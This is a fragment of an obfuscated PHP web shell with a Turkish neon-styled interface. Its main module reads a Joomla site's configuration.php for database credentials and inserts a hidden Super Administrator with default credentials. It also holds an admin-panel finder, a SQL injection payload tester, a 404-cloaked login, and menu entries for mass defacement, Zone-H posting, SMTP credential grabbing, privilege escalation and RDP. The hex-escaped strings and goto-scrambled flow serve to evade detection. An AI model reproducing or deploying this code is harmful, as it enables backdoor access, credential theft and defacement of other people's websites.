#aa44ff); background-size: 200% 200%; animation: gradientMove 5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(122, 0, 204, 0.25); } .joomla-btn-master.purple:hover { box-shadow: 0 0 50px rgba(122, 0, 204, 0.5); color: #ffffff !important; } /* Altın - Beyaz Yazı ile */ .joomla-btn-master.gold { background: linear-gradient(135deg, #996600, #ccaa00, #ffdd44); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 215, 0, 0.2); } .joomla-btn-master.gold:hover { box-shadow: 0 0 50px rgba(255, 215, 0, 0.4); color: #ffffff !important; } /* ===== ANİMASYONLAR ===== */ @keyframes gradientMove { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } @keyframes pulse { 0%, 100% { transform: scale(1); } 50% { transform: scale(1.05); } } .joomla-btn-master.pulse { animation: pulse 2s ease-in-out infinite; } /* ===== SONUÇ ===== */ .joomla-result-neon { margin-top: 12px; padding: 14px 18px; background: rgba(10, 0, 20, 0.8); border-radius: 10px; font-size: 12px; max-height: 400px; overflow-y: auto; font-family: 'JetBrains Mono', monospace; border: 1px solid rgba(179, 0, 255, 0.1); line-height: 1.8; color: #c8d6e5; } .joomla-result-neon.success { border-left: 4px solid #00ff88; box-shadow: 0 0 30px rgba(0, 255, 136, 0.05); } .joomla-result-neon.error { border-left: 4px solid #ff0044; box-shadow: 0 0 30px rgba(255, 0, 68, 0.05); } .joomla-result-neon.info { border-left: 4px solid #0099ff; box-shadow: 0 0 30px rgba(0, 153, 255, 0.05); } .joomla-result-neon.warning { border-left: 4px solid #ff8800; box-shadow: 0 0 30px rgba(255, 136, 0, 0.05); } .joomla-result-neon strong { color: #b300ff; } /* ===== INFO GRID ===== */ .joomla-info-neon { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 8px; margin-top: 10px; } .joomla-info-neon-item { background: rgba(10, 0, 20, 0.6); padding: 10px 14px; border-radius: 8px; border: 1px solid rgba(179, 0, 255, 0.1); color: #a880c8; font-size: 10px; text-align: center; font-family: 'JetBrains Mono', monospace; } .joomla-info-neon-item span { color: #b300ff; font-weight: bold; display: block; font-size: 14px; margin-top: 4px; } /* ===== HIZLI AKSİYON ===== */ .joomla-quick-neon { margin-top: 12px; display: flex; gap: 8px; flex-wrap: wrap; justify-content: center; padding: 10px; background: rgba(10, 0, 20, 0.3); border-radius: 10px; border: 1px solid rgba(179, 0, 255, 0.05); } .joomla-quick-neon .label { font-size: 9px; color: #6a4a8a; text-transform: uppercase; letter-spacing: 2px; display: flex; align-items: center; font-family: 'JetBrains Mono', monospace; } .joomla-quick-btn-neon { background: transparent; border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 20px; color: #a880c8; padding: 5px 14px; font-size: 9px; cursor: pointer; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; text-transform: uppercase; letter-spacing: 0.5px; } .joomla-quick-btn-neon:hover { border-color: #b300ff; color: #b300ff; box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); background: rgba(179, 0, 255, 0.05); transform: translateY(-2px); } /* ===== SCROLLBAR ===== */ .joomla-result-neon::-webkit-scrollbar { width: 6px; } .joomla-result-neon::-webkit-scrollbar-track { background: rgba(10, 0, 20, 0.8); } .joomla-result-neon::-webkit-scrollbar-thumb { background: #b300ff; border-radius: 3px; } .joomla-result-neon::-webkit-scrollbar-thumb:hover { background: #c300ff; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .joomla-btn-master { min-width: 100px; padding: 8px 16px; font-size: 9px; letter-spacing: 1px; } .joomla-input-neon input, .joomla-input-neon select { min-width: 80px; font-size: 10px; } .joomla-info-neon { grid-template-columns: 1fr 1fr; } } @media (max-width: 480px) { .joomla-btn-center { flex-direction: column; gap: 6px; } .joomla-btn-master { width: 100%; min-width: unset; justify-content: center; padding: 10px 16px; } } </style> <!-- ===== PARTİKÜL SCRIPT ===== --> <script> document.addEventListener('DOMContentLoaded', function() { const container = document.querySelector('.joomla-particle-container'); if (!container) return; const canvas = document.createElement('canvas'); canvas.className = 'joomla-particle-canvas'; container.prepend(canvas); const ctx = canvas.getContext('2d'); let width, height; let particles = []; let mouseX = -1000; let mouseY = -1000; function resize() { const rect = container.getBoundingClientRect(); width = canvas.width = rect.width; height = canvas.height = rect.height; } class Particle { constructor() { this.x = Math.random() * width; this.y = Math.random() * height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.5 + 0.1; this.color = `hsl(${270 + Math.random() * 30}, 100%, ${60 + Math.random() * 30}%)`; } update() { this.x += this.speedX; this.y += this.speedY; const dx = this.x - mouseX; const dy = this.y - mouseY; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x += dx * force * 0.02; this.y += dy * force * 0.02; } if (this.x < 0 || this.x > width) this.speedX *= -1; if (this.y < 0 || this.y > height) this.speedY *= -1; } draw() { ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color; ctx.globalAlpha = this.opacity; ctx.fill(); ctx.shadowBlur = 10; ctx.shadowColor = '#b300ff'; ctx.fill(); ctx.shadowBlur = 0; } } function createParticles() { particles = []; const count = Math.min(80, Math.floor((width * height) / 10000)); for (let i = 0; i < count; i++) { particles.push(new Particle()); } } function animate() { ctx.clearRect(0, 0, width, height); for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${0.1 * (1 - dist / 120)})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } particles.forEach(p => { p.update(); p.draw(); }); requestAnimationFrame(animate); } container.addEventListener('mousemove', (e) => { const rect = container.getBoundingClientRect(); mouseX = e.clientX - rect.left; mouseY = e.clientY - rect.top; }); container.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); resize(); createParticles(); animate(); window.addEventListener('resize', () => { resize(); createParticles(); }); }); </script> <!-- ===== ANA KONTEYNER ===== --> <div class="joomla-particle-container"> <div class="joomla-particle-content"> <!-- BAŞLIK --> <div class="joomla-title"> <h4><i class="fab fa-joomla"></i> JOOMLA ADMIN MASTER</h4> <span>⚡ ULTRA EDITION v2.0</span> </div> <?php $joomla_result = null; if (isset($_POST["\x6a\157\x6f\155\154\141\x5f\141\143\164\151\157\156"]) && $_POST["\x6a\x6f\x6f\155\x6c\x61\x5f\x61\x63\x74\x69\x6f\156"] == "\143\x72\145\x61\164\x65") { $path = isset($_POST["\152\x6f\x6f\155\x6c\x61\x5f\160\141\x74\150"]) ? $_POST["\x6a\x6f\157\x6d\x6c\141\x5f\160\141\164\x68"] : getcwd(); $username = isset($_POST["\152\x6f\x6f\x6d\x6c\x61\137\x75\163\145\x72"]) ? $_POST["\152\157\157\155\x6c\141\137\x75\x73\145\162"] : "\163\150\x61\144\157\x77"; $password = isset($_POST["\152\157\157\x6d\154\141\x5f\x70\x61\x73\x73"]) ? $_POST["\x6a\157\x6f\x6d\154\x61\137\160\x61\163\x73"] : "\x53\150\x61\x64\x6f\x77\100\x31\x32\63"; $config_file = $path . "\57\143\157\x6e\x66\x69\147\165\x72\141\x74\151\157\x6e\56\x70\x68\160"; if (file_exists($config_file)) { $config = file_get_contents($config_file); preg_match("\57\160\x75\142\154\x69\x63\x20\x24\x64\x62\x20\x3d\40\x27\50\133\136\47\135\x2b\51\47\x2f", $config, $db); preg_match("\x2f\x70\x75\x62\154\x69\143\x20\44\165\163\x65\x72\40\75\40\x27\50\x5b\x5e\x27\x5d\53\51\47\57", $config, $user); preg_match("\57\x70\165\142\x6c\151\x63\40\44\x70\141\163\x73\167\x6f\162\x64\x20\x3d\40\x27\x28\133\x5e\47\135\53\51\47\x2f", $config, $pass); preg_match("\x2f\160\x75\142\154\151\x63\40\44\x68\x6f\x73\x74\x20\75\40\x27\x28\133\x5e\x27\135\53\x29\47\x2f", $config, $host); preg_match("\57\160\165\x62\154\151\143\x20\x24\x64\x62\x70\162\145\x66\x69\170\x20\x3d\x20\47\50\x5b\136\x27\135\53\x29\47\57", $config, $prefix); $db_prefix = isset($prefix[1]) ? $prefix[1] : "\x6a\x6f\163\x5f"; if (isset($db[1])) { $conn = new mysqli($host[1], $user[1], $pass[1], $db[1]); if ($conn->connect_error) { $joomla_result = array("\164\171\x70\145" => "\145\162\162\x6f\x72", "\x6d\x65\163\163\x61\147\x65" => "\xe2\235\x8c\40\104\102\x20\x42\x61\304\237\154\141\156\x74\xc4\xb1\40\150\141\x74\141\163\xc4\261\x3a\40" . $conn->connect_error); } else { $check = $conn->query("\x53\105\x4c\105\x43\x54\x20\151\144\x20\106\122\x4f\x4d\40{$db_prefix}\165\163\x65\x72\x73\40\x57\110\105\122\105\40\165\163\x65\x72\x6e\141\x6d\145\40\x3d\x20\x27{$username}\47\40\x4f\x52\40\145\x6d\141\x69\154\x20\x3d\x20\47{$email}\x27"); if ($check && $check->num_rows > 0) { $joomla_result = array("\x74\171\160\145" => "\145\162\x72\157\162", "\155\x65\163\163\x61\x67\x65" => "\xe2\235\214\x20\x4b\165\154\154\x61\156\304\xb1\143\xc4\xb1\40\172\x61\164\x65\x6e\40\x6d\145\166\143\x75\164\x21"); } else { $email = $username . "\100\154\x6f\143\141\154\150\x6f\163\x74\56\x63\x6f\155"; $hashed = password_hash($password, PASSWORD_DEFAULT); $sql = "\x49\116\123\105\122\x54\x20\x49\116\x54\x4f\x20{$db_prefix}\x75\x73\145\x72\163\40\50\156\x61\155\145\54\x20\x75\163\145\162\x6e\141\x6d\x65\x2c\40\145\155\141\x69\x6c\54\40\x70\x61\x73\163\167\x6f\x72\x64\x2c\x20\142\154\157\x63\153\x2c\40\x72\145\x67\x69\x73\164\x65\x72\x44\x61\x74\x65\51\x20\12\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\126\101\114\125\x45\x53\x20\50\47{$username}\x27\x2c\x20\x27{$username}\x27\54\x20\x27{$email}\x27\x2c\40\x27{$hashed}\47\x2c\x20\60\x2c\40\116\x4f\x57\50\51\51"; if ($conn->query($sql)) { $id = $conn->insert_id; $conn->query("\x49\x4e\123\105\x52\124\x20\111\x4e\x54\x4f\x20{$db_prefix}\165\x73\x65\x72\x5f\165\163\x65\x72\147\x72\x6f\165\160\x5f\155\x61\x70\x20\x28\165\x73\145\x72\137\151\144\54\x20\x67\162\157\165\x70\x5f\151\x64\x29\40\126\101\114\125\x45\x53\x20\50{$id}\54\x20\70\x29"); $conn->query("\111\116\x53\105\x52\x54\40\111\116\124\x4f\40{$db_prefix}\x75\163\145\x72\x5f\160\162\157\x66\151\154\x65\163\40\50\165\x73\x65\162\137\151\x64\x2c\40\x70\162\x6f\x66\x69\154\145\137\x6b\145\171\54\x20\160\162\157\146\151\154\x65\x5f\x76\141\154\x75\145\51\40\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\x56\101\114\x55\x45\x53\x20\50{$id}\x2c\x20\47\160\x72\157\x66\x69\x6c\x65\56\146\x75\x6c\x6c\x6e\x61\x6d\145\47\54\40\x27\x7b\42\x66\165\154\154\156\141\155\x65\x22\72\42{$username}\42\175\x27\51"); $conn->query("\111\116\x53\105\122\124\x20\x49\116\x54\117\40{$db_prefix}\x75\163\x65\162\137\160\162\157\146\151\x6c\145\x73\x20\50\165\x73\145\x72\x5f\151\144\x2c\x20\x70\162\x6f\x66\151\154\x65\137\153\145\171\x2c\x20\160\162\x6f\x66\151\154\145\137\x76\141\154\165\x65\x29\40\xa\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x56\x41\x4c\125\105\123\x20\50{$id}\54\x20\x27\x70\162\157\146\x69\x6c\145\56\145\x6d\141\151\154\x27\x2c\40\47\173\42\x65\x6d\x61\151\154\x22\x3a\x22{$email}\42\x7d\x27\51"); $joomla_result = array("\x74\171\160\x65" => "\163\x75\143\x63\145\x73\x73", "\155\145\x73\163\x61\x67\x65" => "\342\x9c\205\40\x3c\163\x74\x72\157\156\x67\76\x4a\x6f\x6f\155\x6c\141\40\x61\x64\155\151\x6e\x20\x62\141\xc5\x9f\141\162\304\xb1\171\x6c\141\x20\x6f\154\165\305\x9f\x74\165\x72\165\154\144\165\x21\x3c\x2f\163\x74\x72\157\x6e\147\x3e\x3c\x62\162\x3e\74\x62\162\x3e\12\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\360\237\x91\244\40\113\x75\154\154\x61\x6e\304\261\x63\xc4\261\x3a\40\74\163\164\162\157\x6e\x67\40\x73\164\171\x6c\145\75\x22\x63\x6f\x6c\x6f\162\72\x23\142\63\x30\60\x66\146\x3b\x22\76" . htmlspecialchars($username) . "\74\57\x73\x74\162\x6f\x6e\147\76\74\142\162\x3e\xa\x20\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\xf0\x9f\x94\221\x20\305\236\x69\x66\x72\145\x3a\x20\x3c\x73\164\162\157\156\x67\40\163\x74\x79\154\x65\x3d\42\x63\x6f\154\157\162\72\x23\60\60\x66\x66\70\70\73\42\76" . htmlspecialchars($password) . "\x3c\x2f\163\164\x72\157\156\147\76\x3c\x62\162\x3e\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\360\x9f\223\247\x20\105\155\141\x69\154\x3a\x20" . htmlspecialchars($email) . "\x3c\142\x72\x3e\12\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\xf0\x9f\216\xaf\x20\122\x6f\154\72\x20\x3c\x73\x70\x61\x6e\40\x73\x74\x79\154\145\x3d\x22\x63\157\154\x6f\x72\72\x23\x62\63\60\x30\x66\x66\x3b\42\x3e\123\x75\x70\145\162\40\101\144\x6d\x69\x6e\151\x73\164\x72\x61\x74\157\x72\x3c\x2f\163\160\x61\156\76\74\x62\x72\76\xa\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\360\237\206\x94\40\x49\104\x3a\x20" . $id); } else { $joomla_result = array("\164\171\x70\x65" => "\145\x72\162\157\x72", "\155\x65\163\163\x61\x67\145" => "\xe2\235\x8c\40\123\157\x72\147\165\x20\x68\x61\x74\141\x73\xc4\xb1\72\40" . $conn->error); } } $conn->close(); } } else { $joomla_result = array("\164\171\160\145" => "\145\x72\162\157\162", "\155\145\x73\x73\x61\147\x65" => "\342\235\x8c\40\143\x6f\x6e\146\151\x67\x75\x72\141\164\151\157\x6e\56\160\x68\160\x20\x6f\x6b\165\x6e\141\x6d\x61\x64\xc4\xb1\x21"); } } else { $joomla_result = array("\x74\x79\160\x65" => "\145\x72\x72\x6f\x72", "\x6d\145\x73\163\141\x67\145" => "\342\x9d\x8c\40\x4a\157\x6f\155\x6c\x61\x20\142\165\x6c\x75\x6e\141\155\141\x64\304\xb1\x21\x20" . htmlspecialchars($config_file)); } } ?> <!-- FORM --> <form method="POST"> <!-- Joomla Yolu --> <div class="joomla-card-neon"> <h5>📂 Joomla Kurulumu</h5> <div class="joomla-input-neon"> <input type="text" name="joomla_path" placeholder="Joomla yolu" value="<?php echo getcwd(); ?> "> </div> </div> <!-- Kullanıcı Bilgileri --> <div class="joomla-card-neon"> <h5>👤 Yeni Admin Bilgileri</h5> <div class="joomla-input-neon"> <input type="text" name="joomla_user" placeholder="Kullanıcı adı" value="shadow<?php echo rand(100, 999); ?> "> <input type="password" name="joomla_pass" placeholder="Şifre" value="<?php echo bin2hex(random_bytes(8)); ?> "> </div> </div> <!-- ===== MERKEZDE NEON MOR BUTONLAR - BEYAZ YAZI ===== --> <div class="joomla-btn-center"> <button type="submit" name="joomla_action" value="create" class="joomla-btn-master success pulse"> <span class="icon">👑</span> Admin Oluştur </button> <button type="button" class="joomla-btn-master pink" onclick=" document.querySelector('input[name=joomla_user]').value='hacker'+Math.floor(Math.random()*900+100); document.querySelector('input[name=joomla_pass]').value=Math.random().toString(36).substring(2,10)+'@'+Math.floor(Math.random()*900+100); "> <span class="icon">🎲</span> Rastgele Üret </button> <button type="reset" class="joomla-btn-master warning"> <span class="icon">🔄</span> Temizle </button> </div> <!-- Ekstra Butonlar --> <div class="joomla-btn-center" style="margin-top:4px;gap:8px;"> <button type="button" class="joomla-btn-master info" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" window.open('<?php echo isset($_POST["\152\157\157\155\x6c\x61\x5f\160\141\164\150"]) ? $_POST["\152\157\157\155\154\141\x5f\x70\x61\164\150"] : getcwd(); ?> /administrator', '_blank'); "> <span class="icon">🚀</span> Joomla Admin Git </button> <button type="button" class="joomla-btn-master purple" style="font-size:9px;padding:7px 16px;min-width:auto;" onclick=" alert('Joomla giriş bilgileri:\nURL: <?php echo isset($_POST["\152\x6f\157\155\154\141\137\160\x61\x74\150"]) ? $_POST["\152\157\157\155\154\x61\x5f\x70\141\164\x68"] : getcwd(); ?> /administrator\nKullanıcı: shadow\nŞifre: Shadow@123'); "> <span class="icon">📝</span> Bilgi </button> </div> </form> <!-- Sonuç Gösterimi --> <?php if ($joomla_result) { ?> <div class="joomla-result-neon <?php echo $joomla_result["\164\171\x70\x65"]; ?> "> <?php echo $joomla_result["\x6d\145\x73\x73\x61\x67\145"]; ?> </div> <?php } ?> <!-- Joomla Bilgileri --> <?php $joomla_config = getcwd() . "\57\143\x6f\x6e\146\151\x67\x75\x72\141\164\x69\x6f\x6e\56\160\150\160"; if (file_exists($joomla_config)) { $config_content = file_get_contents($joomla_config); preg_match("\57\x70\x75\142\154\151\143\x20\x24\x64\x62\x20\x3d\x20\x27\x28\x5b\136\x27\135\x2b\51\x27\57", $config_content, $joomla_db); preg_match("\x2f\160\x75\142\154\x69\143\x20\44\144\x62\160\162\145\x66\x69\170\40\x3d\40\47\50\x5b\x5e\47\x5d\x2b\x29\47\57", $config_content, $joomla_prefix); preg_match("\57\160\x75\142\x6c\x69\143\x20\x24\x76\x65\x72\163\x69\x6f\156\x20\75\40\x27\x28\133\x5e\47\135\x2b\51\x27\57", $config_content, $joomla_version); ?> <div class="joomla-info-neon"> <div class="joomla-info-neon-item"> 📌 Versiyon <span><?php echo isset($joomla_version[1]) ? $joomla_version[1] : "\102\x69\154\151\x6e\155\151\171\157\x72"; ?> </span> </div> <div class="joomla-info-neon-item"> 🗄️ Veritabanı <span><?php echo isset($joomla_db[1]) ? $joomla_db[1] : "\x3f"; ?> </span> </div> <div class="joomla-info-neon-item"> 🔤 Tablo Prefix <span><?php echo isset($joomla_prefix[1]) ? $joomla_prefix[1] : "\x6a\x6f\163\137"; ?> </span> </div> </div> <?php } ?> <!-- Hızlı Aksiyonlar --> <div class="joomla-quick-neon"> <span class="label">⚡ Hızlı Aksiyon</span> <button class="joomla-quick-btn-neon" onclick="window.open('<?php echo isset($_POST["\152\157\x6f\155\x6c\x61\137\x70\141\x74\x68"]) ? $_POST["\x6a\157\157\155\154\141\x5f\x70\141\164\x68"] : getcwd(); ?> /administrator', '_blank')"> 🚀 Admin Git </button> <button class="joomla-quick-btn-neon" onclick="document.querySelector('input[name=joomla_pass]').value=Math.random().toString(36).substring(2,15)+'!@#'"> 🔐 Güçlü Şifre </button> <button class="joomla-quick-btn-neon" onclick="navigator.clipboard?.writeText('<?php echo getcwd(); ?> ') && alert('Yol kopyalandı!')"> 📋 Yolu Kopyala </button> <button class="joomla-quick-btn-neon" onclick="location.reload()"> 🔄 Yenile </button> </div> </div><!-- /joomla-particle-content --> </div><!-- /joomla-particle-container --> <?php } goto QTM3n; SH8vR: echo $action == "\x66\x69\154\145\163" ? "\141\x63\x74\x69\166\145" : ''; goto MEFAJ; Vew3V: ?> <!-- ============================================================ --> <!-- ===== NETWORK ===== --> <!-- ============================================================ --> <?php goto Qjf52; Zx5sn: ?> "><i class="fab fa-joomla"></i><span>Joomla</span></a> <a href="?action=opencart" class="<?php goto WGkUR; t4KuS: ?> </div><!-- /main --> <script> document.addEventListener('DOMContentLoaded', function() { const input = document.getElementById('termInput'); if (input) input.focus(); }); </script> </body> </html> <?php goto IEZrO; TeXXv: echo $action == "\141\x64\155\x69\x6e\145\x72" ? "\x61\x63\x74\151\166\x65" : ''; goto OVJin; R1l9B: ?> <?php goto Se1jC; U6S72: if (!isset($_SESSION["\163\150\141\144\x6f\x77\x5f\141\x75\x74\x68"]) || $_SESSION["\x73\x68\x61\144\x6f\x77\137\x61\165\x74\150"] !== true) { if (isset($_POST["\141\x75\164\150"]) && $_POST["\141\165\x74\150"] === $config["\x70\x61\163\163\x77\x6f\x72\144"]) { $_SESSION["\x73\x68\x61\x64\157\167\x5f\141\165\164\150"] = true; $_SESSION["\x73\150\141\144\x6f\x77\137\x75\163\145\x72"] = "\141\144\x6d\151\x6e"; $_SESSION["\154\157\147\151\x6e\x5f\x61\x74\164\x65\x6d\x70\164\163"] = 0; ob_clean(); header("\x4c\x6f\143\x61\x74\151\157\156\x3a\x20" . $_SERVER["\x50\110\x50\137\123\x45\114\106"] . "\x3f\141\x63\164\151\157\156\x3d\x64\141\x73\x68\142\157\141\162\144"); die; } else { if (isset($_POST["\x61\165\x74\x68"])) { $_SESSION["\154\x6f\x67\151\156\x5f\141\164\x74\145\155\160\x74\163"]++; } http_response_code(404); showLoginPage(); die; } } goto N4gYM; j2b7D: echo $action == "\155\x61\163\163" ? "\141\143\x74\x69\166\x65" : ''; goto DeOUS; DeOUS: ?> "><i class="fas fa-fire"></i><span>Mass Deface</span></a> <a href="?action=jumping" class="<?php goto WamsC; zRDir: ?> <!-- ============================================================ --> <!-- ===== SMTP GRABBER ===== --> <!-- ============================================================ --> <?php goto Z5M1Z; Dn5YR: ?> <!-- ============================================================ --> <!-- ===== EXPLOIT MODULE - PERFECT EDITION ===== --> <!-- ============================================================ --> <?php goto zSOsL; Z_Bj_: ?> <!-- ============================================================ --> <!-- ===== ZONE-H ===== --> <!-- ============================================================ --> <?php goto EEvWa; N4gYM: $action = isset($_GET["\141\143\x74\151\x6f\156"]) ? $_GET["\x61\143\164\151\x6f\x6e"] : "\144\141\163\150\142\157\x61\x72\x64"; goto OZ0lg; LXEL4: echo $action == "\143\154\x6f\165\x64\x66\154\x61\162\145" ? "\141\x63\164\151\x76\x65" : ''; goto kw3uc; yYdwN: ?> <!-- ============================================================ --> <!-- ===== GELİŞMİŞ ARAÇLAR - NEON PARTİKÜL ===== --> <!-- ============================================================ --> <?php goto cGRzP; GZMsA: echo $action == "\163\155\x74\x70" ? "\x61\x63\x74\151\166\145" : ''; goto pZ5zq; OcsrA: ?> "><i class="fas fa-archive"></i><span>Backup</span></a> <a href="?action=cron" class="<?php goto VV_Ld; Haqld: ?> <span class="os-badge"> <?php goto l6Nbb; F1NCB: if ($action == "\163\x63\141\156\x6e\145\x72") { ?> <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;"> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-search"></i> Admin Panel Bul</h4> <form method="POST"> <input type="text" name="scan_url" placeholder="URL (örn: http://localhost)" value="http://localhost"> <button type="submit" name="scan_action" value="admin" class="btn btn-sm">Tara</button> </form> <?php if (isset($_POST["\x73\x63\x61\156\x5f\x61\x63\164\x69\157\156"]) && $_POST["\163\x63\141\156\x5f\x61\143\x74\x69\157\x6e"] == "\141\144\155\x69\156") { ?> <div class="terminal-box mt-10"> <div class="term-body"> <?php $url = $_POST["\x73\143\x61\156\137\x75\162\154"]; $paths = array("\x61\x64\x6d\x69\156", "\154\x6f\147\x69\x6e", "\x77\x70\x2d\x61\144\x6d\151\x6e", "\141\144\x6d\151\156\x69\x73\164\x72\141\x74\157\x72", "\160\141\x6e\145\x6c", "\x61\144\x6d\x69\156\56\160\x68\x70", "\154\x6f\x67\151\x6e\56\x70\x68\160", "\144\141\x73\x68\x62\157\x61\x72\x64"); foreach ($paths as $path) { $full = $url . "\x2f" . $path; $headers = @get_headers($full); $status = $headers ? substr($headers[0], 9, 3) : "\60\60\60"; echo "\x3c\x64\151\x76\x20\x63\154\x61\x73\x73\x3d\42\157\165\164\160\165\164\x22\76" . $full . "\x20\xe2\x86\222\40" . ($status == "\62\x30\60" ? "\74\163\x70\141\x6e\40\143\x6c\141\163\x73\75\x22\x73\165\x63\x63\145\163\163\42\x3e\342\234\205\40\x42\165\x6c\165\156\x64\x75\74\57\163\x70\x61\x6e\76" : "\74\x73\x70\141\x6e\x20\x63\154\141\163\163\x3d\x22\x65\x72\x72\157\162\x22\x3e\xe2\x9d\x8c\40" . $status . "\74\57\163\x70\x61\x6e\76") . "\74\57\144\x69\166\76"; } ?> </div> </div> <?php } ?> </div> <div class="settings-group"> <h4 style="color:#b300ff;font-size:11px;"><i class="fas fa-bug"></i> SQL Injection Test</h4> <form method="POST"> <input type="text" name="scan_sql" placeholder="URL (örn: http://localhost/page.php?id=1)" value="http://localhost/test.php?id=1"> <button type="submit" name="scan_action" value="sql" class="btn btn-danger btn-sm">Test</button> </form> <?php if (isset($_POST["\x73\143\141\156\137\x61\x63\164\x69\x6f\x6e"]) && $_POST["\163\x63\x61\156\137\x61\143\x74\x69\157\x6e"] == "\x73\161\154") { ?> <div class="terminal-box mt-10"> <div class="term-body"> <?php $url = $_POST["\x73\x63\141\x6e\x5f\163\x71\154"]; $payloads = array("\x27", "\x27\x20\x4f\x52\x20\47\x31\47\75\x27\x31", "\47\40\x55\x4e\x49\x4f\116\40\x53\x45\114\x45\103\x54\40\61\54\x32\54\63\x20\x2d\55\x20", "\x27\40\101\x4e\104\x20\61\75\61\40\55\x2d\40", "\47\x20\x41\116\104\x20\61\75\62\x20\55\x2d\x20"); foreach ($payloads as $payload) { $full = $url . $payload; $ch = curl_init($full); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); echo "\74\144\151\x76\40\143\154\x61\163\163\75\42\157\x75\164\160\165\x74\x22\x3e\360\237\x94\215\40" . htmlspecialchars($payload) . "\x20\342\x86\x92\x20" . ($info["\x68\x74\164\160\137\143\x6f\144\x65"] == 200 ? "\x3c\163\160\141\156\x20\143\x6c\x61\163\163\75\x22\x77\141\162\156\x69\156\147\x22\x3e\342\x9a\240\40\115\165\x68\164\145\155\145\154\74\x2f\x73\x70\141\x6e\x3e" : "\x3c\x73\x70\141\x6e\x20\143\x6c\141\x73\163\x3d\x22\145\162\x72\x6f\162\x22\x3e\342\x9d\x8c\x3c\x2f\x73\160\x61\x6e\x3e") . "\74\57\144\151\166\76"; } ?> </div> </div> <?php } ?> </div> </div> <?php } goto Dn5YR; tauGo: ?> " style="color:#ffd700;"><i class="fas fa-crown"></i><span>PrivEsc</span></a> <a href="?action=rdp" class="<?php goto K7pv4; rLpi3: ?> "><i class="fas fa-tools"></i><span>Tools</span></a> <a href="?action=backup" class="<?php goto kiy2P; ssk7m: if (!function_exists("\147\145\164\x46\x69\x6c\x65\103\x6f\x6c\x6f\x72")) { function getFileColor($name, $isDir = false) { if ($isDir) { return "\43\146\x66\144\x37\x30\x30"; } $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $colors = array("\x70\150\x70" => "\x23\x63\x30\x38\64\146\x63", "\x70\x68\x74\x6d\154" => "\43\143\60\70\x34\146\143", "\150\x74\x6d\154" => "\43\146\x39\x37\x33\x31\66", "\x63\x73\x73" => "\43\x36\60\141\65\146\x61", "\x6a\163" => "\x23\x66\x62\142\x66\62\64", "\x6a\x73\x6f\x6e" => "\x23\146\x62\x62\146\62\x34", "\152\x70\x67" => "\43\x33\64\x64\63\71\71", "\x6a\160\x65\x67" => "\x23\63\64\x64\63\x39\71", "\160\x6e\x67" => "\43\x33\x34\x64\x33\71\x39", "\147\151\x66" => "\43\63\x34\x64\x33\71\71", "\155\x70\x34" => "\43\x66\x38\67\x31\x37\61", "\x6d\x70\63" => "\43\146\142\x39\x32\x33\143", "\172\x69\160" => "\x23\x66\142\x62\146\x32\x34", "\x72\141\x72" => "\43\x66\x62\x62\x66\x32\x34", "\160\144\146" => "\43\x66\x38\x37\x31\x37\61", "\x64\x6f\143" => 